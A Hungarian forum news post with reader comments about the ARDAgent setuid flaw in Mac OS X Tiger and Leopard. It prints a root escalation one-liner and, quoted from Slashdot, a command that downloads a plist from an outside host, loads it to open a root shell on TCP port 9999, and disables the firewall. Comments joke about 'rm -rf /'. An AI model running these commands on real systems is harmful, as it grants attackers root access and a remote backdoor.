"Root sebezhetőség" a Mac OS X-ben

Címkék

Kritikus minősítést kapott az a Mac OS X 10.4-et (Tiger) és 10.5-öt (Leopard) érintő sebezhetőség, amelynek leírása a napokban bukkat fel internet-szerte. A sebezhetőség lehetővé teszi a potenciális támadók számára, hogy "root" joggal parancsokat futtassanak az érintett rendszereken. Az ARDAgent – Apple Remote Desktop -, amely része a Remote Management-nek, setuid bites. Ebből kifolyólag az ARDAgent képes az AppleScript-eket - amelyek tartalmazhatnak shell parancsokat is - a root nevében futtani jelszó nélkül.

A probléma jól látszik, ha egy egyszerű felhasználó vagy guest beírja a következőket a parancssorba:

osascript -e 'tell app "ARDAgent" to do shell script "whoami"';

Nem csak a helyi gépre lokálisan bejelentkezett felhasználóktól kell tartani. Ha a felhasználónak ssh accunt-ja van a rendszerre, szintén problémát okozhat.

A Slashdot-ra már postáztak példát arra, hogy hogyan lehetne ezt sebezhetőséget backdoor szempontjából kihasználni. Az alábbi parancs root shell-t nyit a TCP/9999-es porton (a Heise Security ellenőrizte).

osascript -e 'tell app "ARDAgent" to do shell script "cd /System/Library/LaunchDaemons ; curl -o bash.plist http://cdslash.net/temp/bash.plist ; chmod 600 bash.plist ; launchctl load bash.plist ; launchctl start com.apple.bash ; ipfw disable firewall; launchctl "'

Addig is, amíg a sebezhetőség az Apple részéről javításra nem kerük, számos javaslat érkezett már a probléma ideiglenes megkerüléséhez (workaround).

Referenciák:
Apple Remote Desktop Vulnerability Allows Malicious Programs to Execute Code as Root
Root exploit for Mac OS X
Mac OS X Root Escalation Through AppleScript

Hozzászólások

"The AppleScript requires an account to be logged in at the console. Granted, it's possible to also do that remotely, but you still need to have the console avilable via VNC etc."
Tehát akkor hogy ez a hiba megtörténhessen, az alábbi dolgoknak kell megtörténnie: nem szabad bekapcsolva lennie az ARD-nek, mert ha bevan, akkor nem műkszik. Továbbá kell lennie acc-nak a rendszerben. Ezt kiegészítve, a saját accodnak kell lennie aki futtatja a kódot, úgy hogy te vagy a consolnál bejelentkezve. Asszem elmúlt a félélmem, és ez megint csak viharkeltés volt.

---MacOsX10.5, MB---

"nem szabad bekapcsolva lennie az ARD-nek, mert ha bevan, akkor nem műkszik."

Ez alapértelmezetten be van kapcsolva?

"Ezt kiegészítve, a saját accodnak kell lennie aki futtatja a kódot, úgy hogy te vagy a consolnál bejelentkezve."

Illetve valószínűleg elég, egy jópofa Safari sebezhetőség is. Bár az elég "ritka" ;)

"Asszem elmúlt a félélmem"

;) Akkor ez akár így is maradhat.

--
trey @ gépház

oké, igazad van, de arra gondoltam hogy megint nagyobb köze van a User-nek hogy ez bekövetkezzen. Nomeg többnyire az átlag default user router mögött van, ennek előnyeivel, és hátrányaival. Amelyik meg "támadható" azelőtt nem default userek ülnek. (amúgy egyetértek Veled hogy ahogy populárosodik, egyre inkább ki lesz téve a veszélynek, amit a "gyengén képzett userek" okoznak.)
---MacOsX10.5, MB---

A Mac OS X kliens felhasználók hajlamosak (nem értem miért) felfeledkezni (talán nem is tudnak róla), hogy a Mac OS X-nek van Server verziója is. Amin lehetnek (mert miért ne lehetnének) shell account-tal rendelkező felhasználók. Természetesen sokan követik az "éles szerverre nem adok akkot" irányelvet, de ez nem mindenkinek járható. Azt nem tudom, hogy érintett-e a Server verzió, milyen a default setup-ja, de érdemes lenne megnézni annak, aki ilyet futtat.

"Nomeg többnyire az átlag default user router mögött van"

Erre mondta a fenti portnyitó kód publikálója a Slashdot-on, hogy:

"It should be noted that this service is accessible even if the application firewall is enabled. The only thing protecting the user at this point is their router firewall, if they have one, and that's easily bypassed with a Python script. So yeah; anything can be downloaded, and anything can be done with it. Scary."

--
trey @ gépház

Mondtam hogy hiba, de az a user megérdemli aki lefuttat egy AppleScriptet, és utána még egy Python scriptet is, amiről nem tudja hogy mi az. Az ilyennek küldenék egy "sud0 rm -rf /" scriptet, és egy 9mmest is, a biztonság kedvéért. (nem vitatkozok hogy nem hiba, de azt mondom nagyon sok mindennek kell összejönni hogy megtörténjen.)
---MacOsX10.5, MB---

Ezt az égést. Kb olyan szintű tervezési hiba, mintha a su nem kérne jelszót.

arpi:~ arpi$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
root
arpi:~ arpi$

fasza. de milyen hasznos, ha pl elfelejtem a root jelszot :)

A'rpi

Humm. ARD bekapcsolva kene legyen? vagy nem? :D marmint az ami sharingben van?


thunder:~ czo$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
thunder:~ czo$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)

Mert nem akarna menni... Mondjuk nembaj ha nem, csakhat en igyekeztem am nagyon
PowerMac G4 // Tiger 10.4.11

---
Apple iMac 20"
áéíóöőúüű

"ARD bekapcsolva kene legyen? vagy nem? :D marmint az ami sharingben van?"

"The exploit doesn't work if the "Remote Management" option is enabled under Mac OS X 10.5 "System Settings/Sharing/" – but this is not the default setting. Neither does it work if the Apple Remote Desktop client has been installed and enabled under Mac OS X 10.4."

--
trey @ gépház